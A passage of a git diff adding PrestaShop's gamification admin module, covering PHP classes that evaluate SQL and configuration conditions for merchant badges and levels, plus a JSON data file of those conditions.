\'hook\''); + $query->where('c.`calculation_detail` = \''.pSQL($hook_name).'\''); + $query->where('c.`validated` = 0'); + $query->where('cb.`id_badge` IN ('.$sub_query.')'); + $query->groupBy('c.`id_condition`'); + $result = Db::getInstance()->executeS($query); + + foreach($result as $r) + $ids[] = $r['id_condition']; + return $ids; + } + + public static function getIdsDailyCalculation() + { + $ids = array(); + + $sub_query = new DbQuery(); + $sub_query->select('id_badge'); + $sub_query->from('badge', 'b'); + $sub_query->groupBy('b.`id_group`'); + + $query = new DbQuery(); + $query->select('c.`id_condition`'); + $query->from('condition', 'c'); + $query->join('LEFT JOIN `'._DB_PREFIX_.'condition_badge` cb ON cb.`id_condition` = c.`id_condition`'); + $query->where('c.`calculation_type` = \'time\''); + $query->where('DATEDIFF(NOW(), `date_upd`) >= `calculation_detail`'); + $query->where('c.`validated` = 0'); + $query->where('cb.`id_badge` IN ('.$sub_query.')'); + $query->groupBy('c.`id_condition`'); + + $result = Db::getInstance()->executeS($query); + foreach($result as $r) + $ids[] = $r['id_condition']; + + return $ids; + } + + public static function getIdsByBadgeGroupPosition($badge_group_position) + { + $ids = array(); + + $sub_query = new DbQuery(); + $sub_query->select('id_badge'); + $sub_query->from('badge', 'b'); + $sub_query->where('b.`group_position` = '.(int)$badge_group_position); + $sub_query->where('b.`validated` = 0'); + $sub_query->groupBy('b.`id_group`'); + + $query = new DbQuery(); + $query->select('c.`id_condition`'); + $query->from('condition', 'c'); + $query->join('LEFT JOIN `'._DB_PREFIX_.'condition_badge` cb ON cb.`id_condition` = c.`id_condition`'); + $query->where('c.`validated` = 0'); + $query->where('cb.`id_badge` IN ('.$sub_query.')'); + $query->groupBy('c.`id_condition`'); + + $result = Db::getInstance()->executeS($query); + foreach($result as $r) + $ids[] = $r['id_condition']; + + return $ids; + } + + public function processCalculation() + { + switch ($this->type) + { + case 'configuration': + $this->processConfiguration(); + break; + case 'install': + $this->processInstall(); + break; + case 'sql': + $this->processSql(); + break; + } + } + + protected function processSql() + { + if (preg_match('/'.implode('|', self::$unauthorized).'/', $this->request)) + return false; + + $this->result = (int)Db::getInstance()->getValue(GamificationTools::parseMetaData($this->request)); + if ($this->makeCalculation($this->operator, $this->result, $this->value)) + $this->validated = 1; + $this->save(); + } + + protected function processConfiguration() + { + $this->result = Configuration::get($this->request); + if ($this->result = $this->makeCalculation($this->operator, $this->result, $this->value)) + $this->validated = 1; + $this->save(); + } + + protected function processInstall() + { + $install = strtotime(_PS_CREATION_DATE_.' 00:00:00'); + $value = strtotime('+ '.(int)$this->value.' day', $install); + $this->result = $this->makeCalculation($this->operator, (time() - $install), $value - $install); + if ($this->result) + $this->validated = 1; + + $this->save(); + } + + protected function makeCalculation($operator, $arg1, $arg2) + { + $result = false; + switch ($operator) + { + case '>': + $result = $arg1 > $arg2; + break; + case '>=': + $result = $arg1 >= $arg2; + break; + case '<': + $result = $arg1 < $arg2; + break; + case '<=': + $result = $arg1 <= $arg2; + break; + case '==': + $result = $arg1 == $arg2; + break; + case '!=': + $result = $arg1 != $arg2; + break; + break; + } + return (bool)$result; + } + + +} diff --git a/modules/gamification/classes/GamificationTools.php b/modules/gamification/classes/GamificationTools.php new file mode 100755 index 0000000..1f23ed5 --- /dev/null +++ b/modules/gamification/classes/GamificationTools.php @@ -0,0 +1,43 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class GamificationTools +{ + public static function parseMetaData($content) + { + $meta_data = array( + 'PREFIX_' => _DB_PREFIX_, + ); + //replace define + $content = str_replace(array_keys($meta_data), array_values($meta_data), $content); + + //replace meta data + $content = preg_replace_callback('#\{config\}([a-zA-Z0-9_-]*)\{/config\}#', create_function('$matches','return Configuration::get($matches[1]);'), $content); + $content = preg_replace_callback('#\{link\}(.*)\{/link\}#', create_function('$matches','return Context::getContext()->link->getAdminLink($matches[1]);'), $content); + + return $content; + } +} \ No newline at end of file diff --git a/modules/gamification/controllers/admin/AdminGamificationController.php b/modules/gamification/controllers/admin/AdminGamificationController.php new file mode 100755 index 0000000..002b7bb --- /dev/null +++ b/modules/gamification/controllers/admin/AdminGamificationController.php @@ -0,0 +1,214 @@ +display = 'view'; + $this->meta_title = $this->l('Your Merchant Expertise'); + parent::__construct(); + } + + public function setMedia() + { + $this->addJqueryUI('ui.progressbar'); + $this->addJS(array('/modules/gamification/views/js/bubble-popup.js', '/modules/gamification/views/js/gamification.js', '/modules/gamification/views/js/jquery.isotope.js')); + $this->addCSS(array('/modules/gamification/views/css/bubble-popup.css', '/modules/gamification/views/css/isotope.css')); + + return parent::setMedia(); + } + + public function initToolBarTitle() + { + $this->toolbar_title = $this->l('Your Merchant Expertise'); + } + + public function initToolBar() + { + return true; + } + + public function renderView() + { + $badges_feature = new Collection('badge', $this->context->language->id); + $badges_feature->where('type', '=', 'feature'); + $badges_feature->orderBy('id_group'); + $badges_feature->orderBy('group_position'); + + $badges_achievement = new Collection('badge', $this->context->language->id); + $badges_achievement->where('type', '=', 'achievement'); + $badges_achievement->orderBy('id_group'); + $badges_achievement->orderBy('group_position'); + + $badges_international = new Collection('badge', $this->context->language->id); + $badges_international->where('type', '=', 'international'); + $badges_international->orderBy('id_group'); + $badges_international->orderBy('group_position'); + + $groups = array(); + $query = new DbQuery(); + $query->select('DISTINCT(b.`id_group`), bl.group_name, b.type'); + $query->from('badge', 'b'); + $query->join(' + LEFT JOIN `'._DB_PREFIX_.'badge_lang` bl ON bl.`id_badge` = b.`id_badge`'); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + foreach ($result as $res) + $groups['badges_'.$res['type']][$res['id_group']] = $res['group_name']; + + $badges_type = array( + 'badges_feature' => array('name' => $this->l('Features'), 'badges' => $badges_feature), + 'badges_achievement' => array('name' => $this->l('Achievements'), 'badges' => $badges_achievement), + 'badges_international' => array('name' => $this->l('International'), 'badges' => $badges_international), + ); + + $levels = array( + 1 => $this->l('1. Beginner'), + 2 => $this->l('2. Pro'), + 3 => $this->l('3. Expert'), + 4 => $this->l('4. Wizard'), + 5 => $this->l('5. Guru'), + 6 => $this->l('6. Legend'), + ); + + $this->tpl_view_vars = array( + 'badges_type' => $badges_type, + 'current_level_percent' => (int)Configuration::get('GF_CURRENT_LEVEL_PERCENT'), + 'current_level' => (int)Configuration::get('GF_CURRENT_LEVEL'), + 'groups' => $groups, + 'levels' => $levels, + ); + return parent::renderView(); + } + + public function ajaxProcessDisableNotification() + { + Configuration::updateGlobalValue('GF_NOTIFICATION', 0); + } + + public function ajaxProcessGamificationTasks() + { + if (!Configuration::get('GF_INSTALL_CALC')) + { + $this->processRefreshData(); + $this->processInstallCalculation(); + Configuration::updateGlobalValue('GF_INSTALL_CALC', 1); + } + + die(Tools::jsonEncode(array( + 'refresh_data' => $this->processRefreshData(), + 'daily_calculation' => $this->processMakeDailyCalculation(), + 'advice_validation' => $this->processAdviceValidation(), + 'advices_to_display' => $this->processGetAdvicesToDisplay(), + 'level_badge_validation' => $this->processLevelAndBadgeValidation(), + 'header_notification' => $this->module->renderHeaderNotification(), + ))); + } + + public function processRefreshData() + { + return $this->module->refreshDatas(); + } + + public function processGetAdvicesToDisplay() + { + $return = array('advices' => array()); + $id_tab = (int)Tools::getValue('id_tab'); + $advices = Advice::getValidatedByIdTab($id_tab); + + foreach ($advices as $advice) + $return['advices'][] = array('selector' => $advice->selector, 'html' => GamificationTools::parseMetaData($advice->html), 'location' => $advice->selector); + + return $return; + } + + public function processMakeDailyCalculation() + { + $return = true; + $condition_ids = Condition::getIdsDailyCalculation(); + foreach ($condition_ids as $id) + { + $cond = new Condition((int)$id); + $return &= $cond->processCalculation(); + } + return $return; + } + + public function processAdviceValidation() + { + $return = true; + $advices_to_validate = Advice::getIdsAdviceToValidate(); + $advices_to_unvalidate = Advice::getIdsAdviceToUnvalidate(); + + foreach ($advices_to_validate as $id) + { + $advice = new Advice((int)$id); + $advice->validated = 1; + $return &= $advice->save(); + } + + foreach ($advices_to_unvalidate as $id) + { + $advice = new Advice((int)$id); + $advice->validated = 0; + $return &= $advice->save(); + } + return $return; + } + + public function processLevelAndBadgeValidation() + { + $return = true; + $current_level = (int)Configuration::get('GF_CURRENT_LEVEL'); + $current_level_percent = (int)Configuration::get('GF_CURRENT_LEVEL_PERCENT'); + + $not_viewed_badge = explode('|', ltrim(Configuration::get('GF_NOT_VIEWED_BADGE', ''), '')); + $nbr_notif = Configuration::get('GF_NOTIFICATION', 0); + + $ids_badge = Badge::getIdsBadgesToValidate(); + if (count($ids_badge)) + $not_viewed_badge = array(); //reset the last badge only if there is new badge to validate + + foreach ($ids_badge as $id) + { + $badge = new Badge((int)$id); + if (($badge->scoring + $current_level_percent) >= 100) + { + $current_level ++; + $current_level_percent = $badge->scoring + $current_level_percent - 100; + } + else + $current_level_percent += $badge->scoring; + + $badge->validated = 1; + $return &= $badge->save(); + $nbr_notif ++; + $not_viewed_badge[] = $badge->id; + } + + Configuration::updateGlobalValue('GF_NOTIFICATION', (int)$nbr_notif); + Configuration::updateGlobalValue('GF_NOT_VIEWED_BADGE', implode('|', array_unique($not_viewed_badge))); + Configuration::updateGlobalValue('GF_CURRENT_LEVEL', (int)$current_level); + Configuration::updateGlobalValue('GF_CURRENT_LEVEL_PERCENT', (int)$current_level_percent); + return $return; + } + + public function processInstallCalculation() + { + $group_position = 1; + do + { + $condition_ids = Condition::getIdsByBadgeGroupPosition($group_position); + foreach ($condition_ids as $id) + { + $cond = new Condition((int)$id); + $cond->processCalculation(); + unset($cond); + } + $group_position ++; + }while(count($condition_ids)); + } +} diff --git a/modules/gamification/controllers/index.php b/modules/gamification/controllers/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/modules/gamification/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/modules/gamification/data/data_FR_EUR_FR.json b/modules/gamification/data/data_FR_EUR_FR.json new file mode 100755 index 0000000..2443c74 --- /dev/null +++ b/modules/gamification/data/data_FR_EUR_FR.json @@ -0,0 +1 @@ +{"conditions":{"134":{"name":"Fr mentions-legales not changed","type":"sql","request":"SELECT content FROM PREFIX_cms_lang WHERE link_rewrite = 'mentions-legales'","operator":"==","value":"

          Mentions l\u00e9gales<\/h2>

          Cr\u00e9dits<\/h3>

          Concept et production :<\/p>

          Ce site internet a \u00e9t\u00e9 r\u00e9alis\u00e9 en utilisant la solution open-source PrestaShop<\/a>\u2122 .<\/p>","calculation_type":"time","calculation_detail":"4","id_ps_condition":"134"},"40":{"name":"2 years","type":"install","request":"","operator":">=","value":"730","calculation_type":"time","calculation_detail":"2","id_ps_condition":"40"},"131":{"name":"Module socolissimo installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%socolissimo%\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"131"},"135":{"name":"Module Expeditor Installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like 'expeditor%'","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"135"},"19":{"name":"Just installed","type":"install","request":"","operator":">","value":"0","calculation_type":"time","calculation_detail":"1","id_ps_condition":"19"},"321":{"name":"Module shopgate not installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%shopgate%\" ","operator":"==","value":"0","calculation_type":"time","calculation_detail":"1","id_ps_condition":"321"},"320":{"name":"Module shopgate installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%shopgate%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"320"},"324":{"name":"Module shoppingfluxexport not installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%shoppingfluxexport%\" ","operator":"==","value":"0","calculation_type":"time","calculation_detail":"1","id_ps_condition":"324"},"399":{"name":"Products x500","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_product WHERE reference NOT LIKE \"demo_%\"","operator":">","value":"499","calculation_type":"hook","calculation_detail":"actionObjectProductAddAfter","id_ps_condition":"399"},"323":{"name":"Module shoppingfluxexport installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%shoppingfluxexport%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"323"},"12":{"name":"Products x100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_product WHERE reference NOT LIKE \"demo_%\"","operator":">","value":"99","calculation_type":"hook","calculation_detail":"actionObjectProductAddAfter","id_ps_condition":"12"},"117":{"name":"Module tntcarrier not installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%tntcarrier%\"","operator":"==","value":"0","calculation_type":"time","calculation_detail":"1","id_ps_condition":"117"},"335":{"name":"Module tntcarrier installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%tntcarrier%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"335"},"175":{"name":"Not onDemand","type":"sql","request":"SELECT count(*) FROM\t PREFIX_configuration WHERE name = 'PS_HOSTED_MODE'","operator":"==","value":"0","calculation_type":"time","calculation_detail":"1","id_ps_condition":"175"},"1":{"name":"Friendly URL","type":"configuration","request":"PS_REWRITING_SETTINGS","operator":"==","value":"1","calculation_type":"hook","calculation_detail":"actionAdminMetaControllerUpdate_optionsAfter","id_ps_condition":"1"},"2":{"id":"2","name":"Smarty Compile","type":"configuration","request":"PS_SMARTY_FORCE_COMPILE","operator":"!=","value":"2","calculation_type":"hook","calculation_detail":"actionAdminPerformanceControllerSaveAfter","currency_related":false,"created_at":"2013-03-11 15:49:50","updated_at":"2013-03-15 11:39:04","id_ps_condition":"2"},"3":{"id":"3","name":"CCC (CSS)","type":"configuration","request":"PS_CSS_THEME_CACHE","operator":"==","value":"1","calculation_type":"hook","calculation_detail":"actionAdminPerformanceControllerSaveAfter","currency_related":false,"created_at":"2013-03-11 15:50:19","updated_at":"2013-03-12 11:10:24","id_ps_condition":"3"},"4":{"name":"Rijndael","type":"configuration","request":"PS_CIPHER_ALGORITHM","operator":"==","value":"1","calculation_type":"hook","calculation_detail":"actionAdminPerformanceControllerSaveAfter","id_ps_condition":"4"},"5":{"name":"Media Servers","type":"configuration","request":"PS_MEDIA_SERVERS","operator":"==","value":"1","calculation_type":"hook","calculation_detail":"actionAdminPerformanceControllerSaveAfter","id_ps_condition":"5"},"6":{"name":"Payment Module x1","type":"sql","request":"SELECT COUNT(distinct m.id_module) FROM PREFIX_hook h LEFT JOIN PREFIX_hook_module hm ON h.id_hook = hm.id_hook LEFT JOIN PREFIX_module m ON hm.id_module = m.id_module\r\nWHERE (h.name = \"displayPayment\" OR h.name = \"payment\") AND m.name NOT IN (\"bankwire\", \"cheque\", \"cashondelivery\")","operator":">","value":"0","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"6"},"7":{"name":"Payment Modules x2","type":"sql","request":"SELECT COUNT(distinct m.id_module) FROM PREFIX_hook h LEFT JOIN PREFIX_hook_module hm ON h.id_hook = hm.id_hook LEFT JOIN PREFIX_module m ON hm.id_module = m.id_module\r\nWHERE (h.name = \"displayPayment\" OR h.name = \"payment\") AND m.name NOT IN (\"bankwire\", \"cheque\", \"cashondelivery\")","operator":">","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"7"},"8":{"name":"Carrier x1","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_carrier WHERE name NOT IN (\"0\", \"My carrier\")","operator":">","value":"0","calculation_type":"hook","calculation_detail":"actionObjectCarrierAddAfter","id_ps_condition":"8"},"9":{"name":"Carriers x2","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_carrier WHERE name NOT IN (\"0\", \"My carrier\")","operator":">","value":"1","calculation_type":"hook","calculation_detail":"actionObjectCarrierAddAfter","id_ps_condition":"9"},"10":{"name":"Product x1","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_product WHERE reference NOT LIKE \"demo_%\"","operator":">","value":"0","calculation_type":"hook","calculation_detail":"actionObjectProductAddAfter","id_ps_condition":"10"},"11":{"name":"Products x10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_product WHERE reference NOT LIKE \"demo_%\"","operator":">","value":"9","calculation_type":"hook","calculation_detail":"actionObjectProductAddAfter","id_ps_condition":"11"},"16":{"name":"Phone Number","type":"configuration","request":"PS_SHOP_PHONE","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionAdminStoresControllerUpdate_optionsAfter","id_ps_condition":"16"},"17":{"name":"1 additional contact","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_contact","operator":">","value":"2","calculation_type":"hook","calculation_detail":"actionObjectContactAddAfter","id_ps_condition":"17"},"18":{"name":"3 additional contacts","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_contact","operator":">","value":"4","calculation_type":"hook","calculation_detail":"actionObjectContactAddAfter","id_ps_condition":"18"},"13":{"name":"Products x1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_product WHERE reference NOT LIKE \"demo_%\"","operator":">","value":"999","calculation_type":"hook","calculation_detail":"actionObjectProductAddAfter","id_ps_condition":"13"},"14":{"name":"Products x10000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_product WHERE reference NOT LIKE \"demo_%\"","operator":">","value":"9999","calculation_type":"hook","calculation_detail":"actionObjectProductAddAfter","id_ps_condition":"14"},"15":{"name":"Products x100000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_product WHERE reference NOT LIKE \"demo_%\"","operator":">","value":"99999","calculation_type":"hook","calculation_detail":"actionObjectProductAddAfter","id_ps_condition":"15"},"20":{"name":"1 week","type":"install","request":"","operator":">=","value":"7","calculation_type":"time","calculation_detail":"1","id_ps_condition":"20"},"21":{"name":"Logo","type":"configuration","request":"PS_LOGO","operator":"!=","value":"logo.jpg","calculation_type":"hook","calculation_detail":"actionAdminThemesControllerUpdate_optionsAfter","id_ps_condition":"21"},"22":{"name":"Template","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_theme WHERE directory != \"default\" AND directory != \"prestashop\" AND directory ! \"default-bootstrap\"","operator":">","value":"0","calculation_type":"hook","calculation_detail":"actionObjectShopUpdateAfter","id_ps_condition":"22"},"23":{"name":"Connected to Addons","type":"configuration","request":"PS_LOGGED_ON_ADDONS","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"23"},"24":{"name":"MultiStores activated","type":"configuration","request":"PS_MULTISHOP_FEATURE_ACTIVE","operator":"==","value":"1","calculation_type":"hook","calculation_detail":"actionAdminPreferencesControllerUpdate_optionsAfter","id_ps_condition":"24"},"25":{"name":"Stores x2","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_shop","operator":">","value":"1","calculation_type":"hook","calculation_detail":"actionObjectShopAddAfter","id_ps_condition":"25"},"28":{"name":"Store Groups x2","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_shop_group","operator":">","value":"1","calculation_type":"hook","calculation_detail":"actionObjectShopGroupAddAfter","id_ps_condition":"28"},"26":{"name":"Stores x5","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_shop","operator":">","value":"4","calculation_type":"hook","calculation_detail":"actionObjectShopAddAfter","id_ps_condition":"26"},"27":{"name":"Store Groups x5","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_shop_group","operator":">","value":"5","calculation_type":"hook","calculation_detail":"actionObjectShopGroupAddAfter \t","id_ps_condition":"27"},"30":{"name":"Carriers x3","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_carrier WHERE name NOT IN (\"0\", \"My carrier\")","operator":">","value":"2","calculation_type":"hook","calculation_detail":"actionObjectCarrierAddAfter","id_ps_condition":"30"},"29":{"name":"Payment Modules x3","type":"sql","request":"SELECT COUNT(distinct m.id_module) FROM PREFIX_hook h LEFT JOIN PREFIX_hook_module hm ON h.id_hook = hm.id_hook LEFT JOIN PREFIX_module m ON hm.id_module = m.id_module\r\nWHERE (h.name = \"displayPayment\" OR h.name = \"payment\") AND m.name NOT IN (\"bankwire\", \"cheque\", \"cashondelivery\")","operator":">","value":"2","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"29"},"31":{"name":"Revenue > 100 (Base EUR)","type":"sql","request":"SELECT SUM(total_paid_tax_excl \/ c.conversion_rate)\r\nFROM PREFIX_orders o INNER JOIN PREFIX_currency c ON c.id_currency = o.id_currency WHERE valid = 1 AND reference != \"XKBKNABJK\"","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"31"},"32":{"name":"Revenue > 1000 (Base EUR)","type":"sql","request":" \tSELECT SUM(total_paid_tax_excl \/ c.conversion_rate) FROM PREFIX_orders o INNER JOIN PREFIX_currency c ON c.id_currency = o.id_currency WHERE valid = 1 AND reference != \"XKBKNABJK\"","operator":">=","value":"1000","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"32"},"33":{"name":"Revenue > 10 000 (Base EUR)","type":"sql","request":" \tSELECT SUM(total_paid_tax_excl \/ c.conversion_rate) FROM PREFIX_orders o INNER JOIN PREFIX_currency c ON c.id_currency = o.id_currency WHERE valid = 1 AND reference != \"XKBKNABJK\"","operator":">=","value":"10000","calculation_type":"time","calculation_detail":"1","id_ps_condition":"33"},"34":{"name":"Revenue > 100 000 (Base EUR)","type":"sql","request":" \tSELECT SUM(total_paid_tax_excl \/ c.conversion_rate) FROM PREFIX_orders o INNER JOIN PREFIX_currency c ON c.id_currency = o.id_currency WHERE valid = 1","operator":">=","value":"100000","calculation_type":"time","calculation_detail":"7","id_ps_condition":"34"},"35":{"name":"Revenue > 1 million (Base EUR)","type":"sql","request":" \tSELECT SUM(total_paid_tax_excl \/ c.conversion_rate) FROM PREFIX_orders o INNER JOIN PREFIX_currency c ON c.id_currency = o.id_currency WHERE valid = 1","operator":">=","value":"1000000","calculation_type":"time","calculation_detail":"7","id_ps_condition":"35"},"36":{"name":"Revenue > 10 millions (Base EUR)","type":"sql","request":" \tSELECT SUM(total_paid_tax_excl \/ c.conversion_rate) FROM PREFIX_orders o INNER JOIN PREFIX_currency c ON c.id_currency = o.id_currency WHERE valid = 1","operator":">=","value":"10000000","calculation_type":"time","calculation_detail":"7","id_ps_condition":"36"},"37":{"name":"1 month","type":"install","request":"","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"37"},"38":{"name":"6 months","type":"install","request":"","operator":">=","value":"182","calculation_type":"time","calculation_detail":"2","id_ps_condition":"38"},"39":{"name":"1 year","type":"install","request":"","operator":">=","value":"365","calculation_type":"time","calculation_detail":"2","id_ps_condition":"39"},"41":{"name":"Visitors > 10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_guest","operator":">=","value":"10","calculation_type":"time","calculation_detail":"1","id_ps_condition":"41"},"42":{"name":"Visitors > 100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_guest","operator":">=","value":"100","calculation_type":"time","calculation_detail":"1","id_ps_condition":"42"},"43":{"name":"Visitors > 1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_guest","operator":">=","value":"1000","calculation_type":"time","calculation_detail":"1","id_ps_condition":"43"},"44":{"name":"Visitors > 10 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_guest","operator":">=","value":"10000","calculation_type":"time","calculation_detail":"2","id_ps_condition":"44"},"45":{"name":"Visitors > 100 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_guest","operator":">=","value":"100000","calculation_type":"time","calculation_detail":"3","id_ps_condition":"45"},"46":{"name":"Visitors > 1 000 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_guest","operator":">=","value":"1000000","calculation_type":"time","calculation_detail":"4","id_ps_condition":"46"},"47":{"name":"Carts > 2","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart WHERE secure_key != \"b44a6d9efd7a0076a0fbce6b15eaf3b1\"","operator":">=","value":"2","calculation_type":"hook","calculation_detail":"actionObjectCartAddAfter","id_ps_condition":"47"},"48":{"name":"Carts > 10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart WHERE secure_key != \"b44a6d9efd7a0076a0fbce6b15eaf3b1\"","operator":">=","value":"10","calculation_type":"hook","calculation_detail":"actionObjectCartAddAfter","id_ps_condition":"48"},"49":{"name":"Carts > 100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart WHERE secure_key != \"b44a6d9efd7a0076a0fbce6b15eaf3b1\"","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionObjectCartAddAfter","id_ps_condition":"49"},"50":{"name":"Carts > 1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart WHERE secure_key != \"b44a6d9efd7a0076a0fbce6b15eaf3b1\"","operator":">=","value":"1000","calculation_type":"time","calculation_detail":"1","id_ps_condition":"50"},"51":{"name":"Carts > 10 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart WHERE secure_key != \"b44a6d9efd7a0076a0fbce6b15eaf3b1\"","operator":">=","value":"10000","calculation_type":"time","calculation_detail":"4","id_ps_condition":"51"},"52":{"name":"Carts > 100 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart WHERE secure_key != \"b44a6d9efd7a0076a0fbce6b15eaf3b1\"","operator":">=","value":"100000","calculation_type":"time","calculation_detail":"8","id_ps_condition":"52"},"53":{"name":"First Order","type":"sql","request":"SELECT COUNT(*) FROM ps_orders WHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\")","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionObjectOrderAddAfter","id_ps_condition":"53"},"54":{"name":"Orders > 10","type":"sql","request":"SELECT COUNT(*) FROM ps_orders WHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\")","operator":">=","value":"10","calculation_type":"hook","calculation_detail":"actionObjectOrderAddAfter","id_ps_condition":"54"},"55":{"name":"Orders > 100","type":"sql","request":"SELECT COUNT(*) FROM ps_orders WHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\")","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionObjectOrderAddAfter","id_ps_condition":"55"},"56":{"name":"Orders > 1000","type":"sql","request":"SELECT COUNT(*) FROM ps_orders WHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\")","operator":">=","value":"1000","calculation_type":"time","calculation_detail":"2","id_ps_condition":"56"},"57":{"name":"Orders > 10 000","type":"sql","request":"SELECT COUNT(*) FROM ps_orders WHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\")","operator":">=","value":"10000","calculation_type":"time","calculation_detail":"4","id_ps_condition":"57"},"58":{"name":"Orders > 100 000","type":"sql","request":"SELECT COUNT(*) FROM ps_orders WHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\")","operator":">=","value":"100000","calculation_type":"time","calculation_detail":"8","id_ps_condition":"58"},"65":{"name":"Customer Thread x1","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer_thread","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionObjectCustomerThreadAddAfter","id_ps_condition":"65"},"66":{"name":"Customer Threads x10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer_thread","operator":">=","value":"10","calculation_type":"hook","calculation_detail":"actionObjectCustomerThreadAddAfter","id_ps_condition":"66"},"67":{"name":"Customer Threads x100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer_thread","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionObjectCustomerThreadAddAfter","id_ps_condition":"67"},"68":{"name":"Customer Threads x1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer_thread","operator":">=","value":"1000","calculation_type":"time","calculation_detail":"2","id_ps_condition":"68"},"69":{"name":"Customer Threads x10 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer_thread","operator":">=","value":"10000","calculation_type":"time","calculation_detail":"4","id_ps_condition":"69"},"70":{"name":"Customer Threads x100 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer_thread","operator":">=","value":"100000","calculation_type":"time","calculation_detail":"8","id_ps_condition":"70"},"59":{"name":"First Customer","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer WHERE email != \"pub@prestashop.com\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionObjectCustomerAddAfter","id_ps_condition":"59"},"60":{"name":"Customers x10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer WHERE email != 